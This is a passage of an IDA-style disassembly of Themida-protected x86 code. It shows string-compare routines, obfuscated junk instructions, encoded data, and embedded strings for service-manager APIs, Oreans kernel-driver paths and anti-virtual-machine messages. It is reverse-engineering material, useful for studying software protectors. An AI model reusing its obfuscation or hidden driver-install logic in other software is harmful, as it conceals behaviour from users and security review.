mov dword ptr [ebp+7FA2ACDh], 1 retn ; --------------------------------------------------------------------------- loc_5B54F9: ; CODE XREF: sub_5B5422+BCj lea esi, [ebp+7FD1EADh] call sub_5B5652 add edi, [ebp+7FD1F15h] cmp dword ptr [ebp+7FD1F15h], 0 jz loc_5B5521 mov dword ptr [ebp+7FA1139h], 1 loc_5B5521: ; CODE XREF: sub_5B5422+EFj lea esi, [ebp+7FD1EB7h] call sub_5B5652 add edi, [ebp+7FD1F15h] cmp dword ptr [ebp+7FD1F15h], 0 jz loc_5B5549 mov dword ptr [ebp+7FA1139h], 1 loc_5B5549: ; CODE XREF: sub_5B5422+117j lea esi, [ebp+7FD1EC2h] call sub_5B5652 add edi, [ebp+7FD1F15h] cmp dword ptr [ebp+7FD1F15h], 0 jz loc_5B5571 mov dword ptr [ebp+7FA0B5Dh], 1 loc_5B5571: ; CODE XREF: sub_5B5422+13Fj lea esi, [ebp+7FD1EC8h] call sub_5B5652 add edi, [ebp+7FD1F15h] cmp dword ptr [ebp+7FD1F15h], 0 jz loc_5B5599 mov dword ptr [ebp+7FA29B9h], 1 loc_5B5599: ; CODE XREF: sub_5B5422+167j lea esi, [ebp+7FD1ECEh] call sub_5B5652 add edi, [ebp+7FD1F15h] cmp dword ptr [ebp+7FD1F15h], 0 jz loc_5B55C1 mov dword ptr [ebp+7FA16C5h], 1 loc_5B55C1: ; CODE XREF: sub_5B5422+18Fj lea esi, [ebp+7FD1EDCh] call sub_5B5652 add edi, [ebp+7FD1F15h] cmp dword ptr [ebp+7FD1F15h], 0 jz loc_5B55E9 mov dword ptr [ebp+7FA0E61h], 1 loc_5B55E9: ; CODE XREF: sub_5B5422+1B7j lea esi, [ebp+7FD1EE9h] call sub_5B5652 add edi, [ebp+7FD1F15h] cmp dword ptr [ebp+7FD1F15h], 0 jz loc_5B5611 mov dword ptr [ebp+7FA217Dh], 1 loc_5B5611: ; CODE XREF: sub_5B5422+1DFj lea esi, [ebp+7FD1EF4h] call sub_5B5652 add edi, [ebp+7FD1F15h] cmp dword ptr [ebp+7FD1F15h], 0 jz loc_5B5639 mov dword ptr [ebp+7FA0AD9h], 1 loc_5B5639: ; CODE XREF: sub_5B5422+207j jmp loc_5B563F ; --------------------------------------------------------------------------- loc_5B563E: ; CODE XREF: sub_5B5422+229j inc edi loc_5B563F: ; CODE XREF: sub_5B5422:loc_5B5639j cmp byte ptr [edi], 20h jz locret_5B5651 cmp byte ptr [edi], 0 jnz loc_5B563E locret_5B5651: ; CODE XREF: sub_5B5422+220j retn sub_5B5422 endp ; =============== S U B R O U T I N E ======================================= sub_5B5652 proc near ; CODE XREF: sub_5B5422+6p ; sub_5B5422+2Fp ... pusha mov ecx, 1 mov ebx, esi jmp loc_5B5678 ; --------------------------------------------------------------------------- loc_5B565F: ; CODE XREF: sub_5B5652+31j cmp byte ptr [edi], 0 jnz loc_5B566A sub ecx, ecx loc_5B566A: ; CODE XREF: sub_5B5652+10j mov dl, [edi] cmp [esi], dl jz loc_5B5676 sub ecx, ecx loc_5B5676: ; CODE XREF: sub_5B5652+1Cj inc esi inc edi loc_5B5678: ; CODE XREF: sub_5B5652+8j cmp byte ptr [esi], 0 jz loc_5B5689 or ecx, ecx jnz loc_5B565F loc_5B5689: ; CODE XREF: sub_5B5652+29j or ecx, ecx jz loc_5B56B2 cmp byte ptr [edi], 0 jz loc_5B56A3 cmp byte ptr [edi], 20h jnz loc_5B56AD loc_5B56A3: ; CODE XREF: sub_5B5652+42j mov ecx, 1 jmp loc_5B56B2 ; --------------------------------------------------------------------------- loc_5B56AD: ; CODE XREF: sub_5B5652+4Bj mov ecx, 0 loc_5B56B2: ; CODE XREF: sub_5B5652+39j ; sub_5B5652+56j or ecx, ecx jz loc_5B56C7 sub esi, ebx mov [ebp+7FD1F15h], esi jmp loc_5B56D1 ; --------------------------------------------------------------------------- loc_5B56C7: ; CODE XREF: sub_5B5652+62j mov dword ptr [ebp+7FD1F15h], 0 loc_5B56D1: ; CODE XREF: sub_5B5652+70j popa retn sub_5B5652 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5381 loc_5B56D3: ; CODE XREF: sub_5B5381+34j ; sub_5B5381+3Ej ... mov eax, 0 or eax, eax jz loc_5B56EA mov dword ptr [ebp+7FA1139h], 0 loc_5B56EA: ; CODE XREF: sub_5B5381+359j mov ecx, eax call near ptr loc_5B56F9+1 mov ds:0A6A2FAE0h, al movsb rol dword ptr [edi], 1 loc_5B56F9: ; CODE XREF: sub_5B5381+36Bp jnp short loc_5B5761 or edi, 0F5A0CF1h mov [edi], ebx ; END OF FUNCTION CHUNK FOR sub_5B5381 ; --------------------------------------------------------------------------- db 0 dd 8B0F0000h, 19h, 14E9h, 56BB5400h, 578211E2h, 1420895h dd 68AE5364h, 9A99D798h, 7CC28156h, 81000059h, 2E3ADBC1h dd 0B809h, 9D890000h, 7FA0569h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5381 loc_5B573C: ; CODE XREF: sub_5B5381+434j push dword ptr [eax+edx] push ebx pusha jb $+6 mov cx, bx popa pop ecx pop esi call near ptr byte_5B575F sar byte ptr [ecx+4E6AD53h], cl push ebx into jz short near ptr loc_5B5766+5 ror byte ptr [ebx], 1 dec esi ; END OF FUNCTION CHUNK FOR sub_5B5381 ; --------------------------------------------------------------------------- byte_5B575F db 31h ; CODE XREF: sub_5B5381+3CCp db 0B5h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5381 loc_5B5761: ; CODE XREF: sub_5B5381:loc_5B56F9j cdq adc dl, bh pop es pop ecx loc_5B5766: ; CODE XREF: sub_5B5381+3D9j xor esi, 58EA788Dh add esi, 5D75C404h mov [ebp+7FA0E35h], ecx xor esi, 255C35F0h stc push esi mov ebx, [ebp+7FA1DE1h] pop dword ptr [edx+eax] jmp loc_5B5798 ; END OF FUNCTION CHUNK FOR sub_5B5381 ; --------------------------------------------------------------------------- dw 8246h dd 0B29190C6h, 0B2DB84E4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5381 loc_5B5798: ; CODE XREF: sub_5B5381+408j or [ebp+7FA2D79h], esi sub eax, 2 mov [ebp+7FA1CC1h], edx dec eax dec eax mov edi, [ebp+7FA2209h] cmp eax, 0FFFFA750h jnz loc_5B573C mov ebx, [ebp+7FA11A1h] jmp loc_5B687D ; END OF FUNCTION CHUNK FOR sub_5B5381 ; --------------------------------------------------------------------------- dw 4441h dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0) dd 6165726Fh, 3233736Eh, 7379732Eh, 2 dup(0) dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0 dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0) aSystemroot db 'SYSTEMROOT',0 aSSystem32Drive db '%s\system32\drivers\%s',0 aSSyswow64Drive db '%s\syswow64\drivers\%s',0 aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0 align 4 dd 48h dup(0) dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h dd 72676F72h, 2E6D61h, 59h dup(0) dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0) dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0) dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0) dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0) dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0) dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0) dd 10000000h, 0 dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0 dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah dd 53000000h, 69767265h, 50206563h, 206B6361h, 32h, 1Ch dup(0) dd 53000000h, 7774666Fh, 5C657261h, 656E6957h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5381 loc_5B687D: ; CODE XREF: sub_5B5381+440j mov eax, esp cmc mov [ebp+7FA2421h], eax and edi, 342C6F1Ch mov eax, eax mov di, si cmp dword ptr [ebp+7FA2ACDh], 0 jnz short loc_5B68A3 cmp dword ptr [ebp+7FA1899h], 0 jz short loc_5B68BC loc_5B68A3: ; CODE XREF: sub_5B5381+1517j push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+7FA20C9h], eax lea ebx, [ebp+7FCE224h] call ebx ; _iob pop ebx pop eax loc_5B68BC: ; CODE XREF: sub_5B5381+1520j cmp dword ptr [ebp+7FA1899h], 0 jz short loc_5B68DC push eax push ebx mov eax, 43Dh mov [ebp+7FA20C9h], eax lea ebx, [ebp+7FCDF13h] call ebx ; _iob pop ebx pop eax loc_5B68DC: ; CODE XREF: sub_5B5381+1542j mov [ebp+7FA3139h], edi mov dl, 0D0h mov [ebp+7FA3121h], ecx mov eax, eax jz loc_5B68F8 mov [ebp+7FA076Dh], esi loc_5B68F8: ; CODE XREF: sub_5B5381+156Bj movsx edx, ax mov eax, eax push 0 push esi call sub_5B6908 and [esi-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5B5381 ; =============== S U B R O U T I N E ======================================= sub_5B6908 proc near ; CODE XREF: sub_5B5381+157Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5B6908 endp ; --------------------------------------------------------------------------- cmp dword ptr [edi+48426903h], 0FFFFFF83h mov ebp, 7FA2ACDh add [ebp+9], dh cmp dword ptr [ebp+7FA1899h], 0 jz short loc_5B6943 push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+7FCE0C6h] call ebx ; _iob pop ebx pop eax loc_5B6943: ; CODE XREF: Themida_:005B692Ej cmp dword ptr [ebp+7FA1899h], 0 jz short loc_5B695D push eax push ebx mov eax, 0 lea ebx, [ebp+7FCDF77h] call ebx ; _iob pop ebx pop eax loc_5B695D: ; CODE XREF: Themida_:005B694Aj push 0 push esi call sub_5B6968 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6968 proc near ; CODE XREF: Themida_:005B6960p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5B6968 endp ; --------------------------------------------------------------------------- dd 1AC02E28h, 43B5ED28h, 14E96767h, 0A8000000h, 17B4CCAh dd 0A9A09F63h, 35E70A6Bh, 7B9E0E03h, 8BC4D39Bh, 0F28166C0h dd 0C08BA789h, 0BD835952h, 7FA2ACDh, 83097500h, 0FA1899BDh dd 13740007h, 0C08B5350h, 0B8h, 0F89D8D00h, 0FF07FCDFh dd 83585BD3h, 0FA1899BDh, 11740007h, 0B85350h, 8D000000h dd 0FCDF459Dh, 5BD3FF07h, 0CFBF0F58h, 11C9958Bh, 8B6607FAh dd 8BC08BFAh, 6AC08BF9h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 5FD6C353h, 0DE8h, 0CA2E7200h dd 4F4BC92h, 9DA60DB9h, 6ABA5894h, 5A143774h, 80D2B70Fh dd 0BD8312C1h, 7FA2ACDh, 83097500h, 0FA1899BDh, 13740007h dd 0C08B5350h, 0B8h, 5F9D8D00h, 0FF07FCE0h, 83585BD3h dd 0FA1899BDh, 11740007h, 0B85350h, 8D000000h, 0FCDF5E9Dh dd 5BD3FF07h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 0C2CC59E8h, 0E90E3BEBh, 8, 7190E631h dd 0F436197Dh, 0A699D01h, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 64B367C3h, 0BFA4B4B5h dd 0E19503ACh, 8A07FA02h, 6AC08BF5h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 7EA3C350h dd 91A30C0Bh, 0D21D2F63h, 0AB33BF66h, 60BFC08Bh, 89580EDAh dd 0FA2A2D8Dh, 0CDBD8307h, 7FA2Ah, 0BD830975h, 7FA1899h dd 50137400h, 0B8C08B53h, 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+7FCDF91h] call ebx ; _iob pop ebx pop eax push 0 push edi call sub_5B6B39 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6B39 proc near ; CODE XREF: Themida_:005B6B31p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5B6B39 endp ; --------------------------------------------------------------------------- retn 0FA0h ; --------------------------------------------------------------------------- dd 68Eh, 1BD8900h, 0F07FA1Fh, 8Ch, 81C08B00h, 0E07DA9EAh dd 8BC08B51h, 0CDBD83CEh, 7FA2Ah, 0BD830975h, 7FA1899h dd 50197400h, 0B8C08B53h, 7D0h, 20C98589h, 9D8D07FAh, 7FCE224h dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h, 7D0h, 20C98589h dd 9D8D07FAh, 7FCDF13h, 585BD3FFh, 9EC78166h, 0FD9529B9h dd 0E807FA14h, 0Eh, 0C1FEDB10h, 10CF0EC2h, 3AF11531h, 7E95D93h dd 0A6000000h, 3F66E4C4h, 8B59C720h, 0D8D8BC0h, 0C607FA22h dd 0FA066585h, 6A5307h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0E4ADB9C3h, 0F02847A9h, 906836D9h dd 0F99395Fh, 0B5FFD7BFh, 7FA08A5h, 2281952Bh, 858D07FAh dd 7FA3AE2h, 27698D89h, 8D0107FAh, 7FA02D9h, 9589D0FFh dd 7FA27B1h, 17998589h, 858907FAh, 7FA0219h, 66585C6h dd 0E95707FAh, 12h, 6BDD0CCDh, 560EAB3Eh, 5A68503Fh, 0D25DD467h dd 6688A8Ch, 6A900452h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0DA0EC351h, 6E3C8D3Ch dd 0B589ECC4h, 7FA1781h, 0FDBAC181h, 8D8B097Fh, 7FA0C81h dd 8A5B5FFh, 0BD8B07FAh, 7FA33E9h, 3AE2858Dh, 11E907FAh dd 6C000000h, 8773FFA9h, 48F5786Bh, 0B0A53E5Dh, 0CD634F75h dd 0D0FF32B5h, 396C36BFh, 7585897Bh, 0C607FA28h, 0FA066585h dd 8D0F4307h, 3, 68D8C280h, 0BC907028h, 5E8h, 15CC3A00h dd 0BD8B31EEh, 7FA0AF1h, 0A5B5FF59h, 907FA08h, 0FA0ADD95h dd 0CE8B6607h, 3AE2858Dh, 852907FAh, 7FA1D25h, 9E9h, 0CFA0D500h dd 20640012h, 0D0FF5DB2h, 0FE85DB6h, 0A9000000h, 0C5E17C1Dh dd 0EBF3F5A5h, 8204670Ah, 8E0F880Ch, 6, 2169950Bh, 895907FAh dd 0FA225985h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 589A6326h, 0BF66B4DEh dd 8E994E0h, 45000000h, 0DAD4BEBDh, 0C6B360DAh, 0FA066585h dd 74B24C07h, 0DA1CE968h, 918D03D9h, 0FF07FA1Fh, 0FA08A5B5h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 4ACD1B9Bh, 20A99589h, 858D07FAh, 7FA3AE2h dd 0E018D03h, 0D0FF07FAh, 88E0Fh, 0F510000h, 89h, 85895A00h dd 7FA2819h, 23218D89h, 85C607FAh, 7FA0665h, 99D3146h dd 6807FA0Bh, 0BADE0614h, 29E58D8Bh, 0B5FF07FAh, 7FA08A5h dd 68C0Fh, 0BD8B0000h, 7FA30E9h, 3AE2858Dh, 0D0FF07FAh dd 7E9h, 0FB828D00h, 0FEFBF5Dh, 28598589h, 85C607FAh, 7FA0665h dd 12E947h, 0F9DA0000h, 62B2EFACh, 3AA94146h, 95F2F09Bh dd 0CDB5EF45h, 0FB5E268h, 52006A8Ah, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 8631A36Ch dd 15B531FDh, 0FF07FA18h, 0FA08A5B5h, 19B58907h, 8D07FA16h dd 0FA3AE285h, 14E96007h, 71000000h, 7CA11C22h, 67981805h dd 1F71C222h, 70556791h, 66F28C3Ah, 7779D881h, 9E861h dd 20260000h, 22AB32E4h, 8B0FC85Eh, 0D0FF59F8h, 700B97BAh dd 3585892Bh, 6A07FA28h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 35BBC353h, 0EA9E6FFFh dd 66585C6h, 0E84707FAh, 6, 57E95C5h, 8D8958F2h, 7FA07C5h dd 0B5F3685Ah, 14E983D0h, 9D000000h, 8AC43CC3h, 696C2C29h dd 0C5845E46h, 91715C6Ah, 0FF395FA1h, 0FA08A5B5h, 8D70B207h dd 0FA3AE285h, 6EBF6607h, 8BD0FF4Eh, 0FA20E595h, 0C9858907h dd 8B07FA18h, 6585C6CEh, 7707FA06h, 16BDB589h, 8B6607FAh dd 0A8A368D0h, 8D89F397h, 7FA14C9h, 515B5FFh, 810F07FAh dd 5, 0F2C18166h, 0E2858DAEh, 6A07FA3Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 8C8FC355h dd 0BD89D0FFh, 7FA057Dh, 0ED81C3BFh, 0C585891Fh, 0F07FA0Dh dd 684h, 9D952900h, 0F07FA1Eh, 1280h, 0DE900h, 769C0000h dd 0A4327FB9h, 51BA61ADh, 0C650EC13h, 0FA066585h, 0D38B4707h dd 28FAF668h, 57006A87h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 9E88Eh, 0EA9D0000h, 6F669453h, 0F3DB5DFh dd 895AC8B7h, 0FA268995h, 0A5B5FF07h, 0F807FA08h, 3AE2858Dh dd 0B58907FAh, 7FA3395h, 0FFD68B66h, 0C5BD89D0h, 8907FA10h dd 0FA08C985h, 5E907h, 55310000h, 0C68AAB1Ah, 0FA066585h dd 0E8604307h, 13h, 75848EABh, 425FE4EBh, 741473BEh, 5389E48Dh dd 0F031A3Dh, 0F58C8B7h, 6861D0BFh, 0BC8E6EFCh, 0CAD8D8Bh dd 0B5FF07FAh, 7FA08A5h, 8DD3B70Fh, 0FA3AE285h, 0B1BD8B07h dd 8907FA21h, 0FA021185h, 2BD0FF07h, 0FA317DBDh, 1D858907h dd 8B07FA31h, 0FA258195h, 6585C607h, 4507FA06h, 1115958Bh dd 0B96607FAh, 6968B813h, 6A8E7269h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A048C350h dd 62F0ABB8h, 8B5EBA8Ch, 0A5B5FFCBh, 0F07FA08h, 118Bh dd 6E800h, 21160000h, 0B70A9B24h, 59DF8166h, 858D5FD1h dd 7FA3AE2h, 0AE9BD8Bh, 0D0FF07FAh, 68E0Fh, 958B0000h dd 7FA10B1h, 0EBD8589h, 9D8907FAh, 7FA2955h, 66585C6h dd 8B4407FAh, 0FA10E5BDh, 0E04FB907h, 64685AF4h, 66B8F2ECh dd 0FFD297B9h, 0FA08A5B5h, 0A58D8B07h, 8D07FA1Eh, 0FA3AE285h dd 0D58D3307h, 0FF07FA10h, 57006AD0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 7A775676h dd 2E618589h, 0BD3107FAh, 7FA202Dh, 66585C6h, 894307FAh dd 0FA2FA19Dh, 0F606007h, 81h, 0CE900h, 0DA180000h, 6A72ACA6h dd 3AD7E3C3h, 8161FA39h, 548A58E1h, 0A7686149h, 8BC0764Ah dd 0FA241D95h, 0A5B5FF07h, 6A07FA08h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 3E2DC357h dd 79CF6D75h, 0D2EF4C9Eh, 29D9BD8Bh, 858D07FAh, 7FA3AE2h dd 0FFA3C680h, 8589F5D0h, 7FA21ADh, 6880F60h, 3000000h dd 0FA2C9D8Dh, 0BD806107h, 7FD2F73h, 7C840F00h, 51000000h dd 235D958Bh, 8D5907FAh, 0FD2F5585h, 6D958B07h, 5007FA1Dh dd 6AB3D980h, 0FEBF0F01h, 0E580006Ah, 89006A59h, 0FA05718Dh dd 5995FF07h, 8907FA22h, 0FA1E85BDh, 6D858907h, 6607FA0Dh dd 0B509CF8Bh, 7FA078Dh, 880FFF6Ah, 0 ; --------------------------------------------------------------------------- mov edi, 418DF832h push dword ptr [ebp+7FA0D6Dh] mov dl, 8Eh call dword ptr [ebp+7FA2875h] push 0 push eax call sub_5B727E and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B727E proc near ; CODE XREF: Themida_:005B7276p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5B727E endp ; --------------------------------------------------------------------------- xchg ecx, [ebx+55006AC0h] call sub_5B729C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B729C proc near ; CODE XREF: Themida_:005B7294p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5B729C endp ; --------------------------------------------------------------------------- dd 64C873Eh, 8D8B807Ch, 7FA1451h, 2ACDBD83h, 750007FAh dd 99BD8309h, 7FA18h, 53501974h, 0D1B8C08Bh, 89000007h dd 0FA20C985h, 249D8D07h, 0FF07FCE2h, 83585BD3h, 0FA1899BDh dd 17740007h, 0D1B85350h, 89000007h, 0FA20C985h, 139D8D07h dd 0FF07FCDFh, 52585BD3h, 95895AF8h, 7FA1C05h, 6AC08Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 44E342C3h, 0F58A1E91h, 2BD8529h, 85C607FAh, 7FA0665h dd 0B1BD8947h, 6807FA0Eh, 93C8F7C1h, 2195958Bh, 0B5FF07FAh dd 7FA08A5h, 17A1BD8Bh, 858D07FAh, 7FA3AE2h, 8B60D0FFh dd 0FA25D18Dh, 957BBA07h, 50610B74h, 11810Fh, 66600000h dd 7E9D18Bh, 39000000h, 2B7DFB62h, 8D610671h, 0FD339685h dd 4860F07h, 66000000h, 99CDCBAh, 0FA29BDBDh, 9400C707h dd 66000000h, 58A576B9h, 0B589CA8Bh, 7FA351Dh, 3396B58Dh dd 950907FDh, 7FA23B9h, 41BD8B56h, 0FF07FA2Fh, 55006AD0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 26E68006h, 3396858Dh, 0B55207FDh, 9D895AC4h, 7FA0CF1h dd 6047883h, 30850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 642C61C3h, 0C7A8D5DCh dd 0FD342A85h, 107h, 2912B900h, 0BD8337FEh, 7FA2579h, 79850F00h dd 0E9000000h, 7, 0DD6C004Ah, 83626A8Bh, 0FD342ABDh, 850F0007h dd 60h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h dd 87C35242h, 5EF87C1Eh, 1885BD83h, 0F0007FAh, 3384h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0BD8B3324h, 7FA2801h, 26F185C7h, 7FAh, 8D8B0000h, 7FA0121h dd 0F6DB8C66h, 840F04C3h, 5C2h, 6870Fh, 958B0000h, 7FA1659h dd 33ED85C7h, 7FAh, 0CE90000h, 44000000h, 2EF02795h, 94E31258h dd 809A77F6h, 0FD2F80BDh, 850F0007h, 6, 1B18D8Bh, 85C607FAh dd 7FA0665h, 0C99D2947h, 6807FA07h, 0E3E45B86h, 1BBD9589h dd 0B5FF07FAh, 7FA08A5h, 7CC18166h, 0E2858DAFh, 0E907FA3Ah dd 6, 4CE2F3B6h, 0D0FF8F93h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0FC35141h, 152F0BCFh, 0C19834Fh dd 758D8949h, 6607FA06h, 4C5BF281h, 12E8h, 0D8ADA500h dd 0D21B6AFAh, 0C2F2978Ah, 936FEAA1h, 0FB4CB20h, 68Ah dd 0F0F78100h, 5A5EDC2Dh, 10468h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0B1E0F448h dd 0AD9D8DD6h, 6A07FA2Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 70BCC351h, 6A53BBh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 950116C3h, 7FA184Dh, 9B1003B9h, 6AD0FF7Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 9E83C350h, 36ADED6h, 0FA0D5D95h, 0AD858D07h, 6007FA2Fh dd 998D29F5h, 6107FA00h, 6DE98150h, 81074BF1h, 0F30C29C9h dd 32858D61h, 0F07FD2Fh, 281h, 50BEB200h, 12CA8166h, 858D8B36h dd 8D07FA08h, 0FD260585h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0CFBF0F0Eh dd 0DE98166h, 0B70F5071h, 0C595FFD6h, 0F07FA0Dh, 0B589F9B7h dd 7FA0BC9h, 8B0CC483h, 0FA0089BDh, 41958B07h, 6A07FA16h dd 806800h, 36A0000h, 6A006Ah, 68h, 5858D80h, 5007FD26h dd 311D95FFh, 858907FAh, 7FD2F15h, 66585C6h, 684707FAh dd 0C7B15E87h, 8A5B5FFh, 858D07FAh, 7FA3AE2h, 6AD0FFh dd 2F15B5FFh, 0D0FF07FDh, 3DFCFA8Bh, 37D0h, 54830Fh, 0B70F0000h dd 15B5FFCFh, 5207FD2Fh, 5AD6BF0Fh, 21AD95FFh, 6A07FAh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 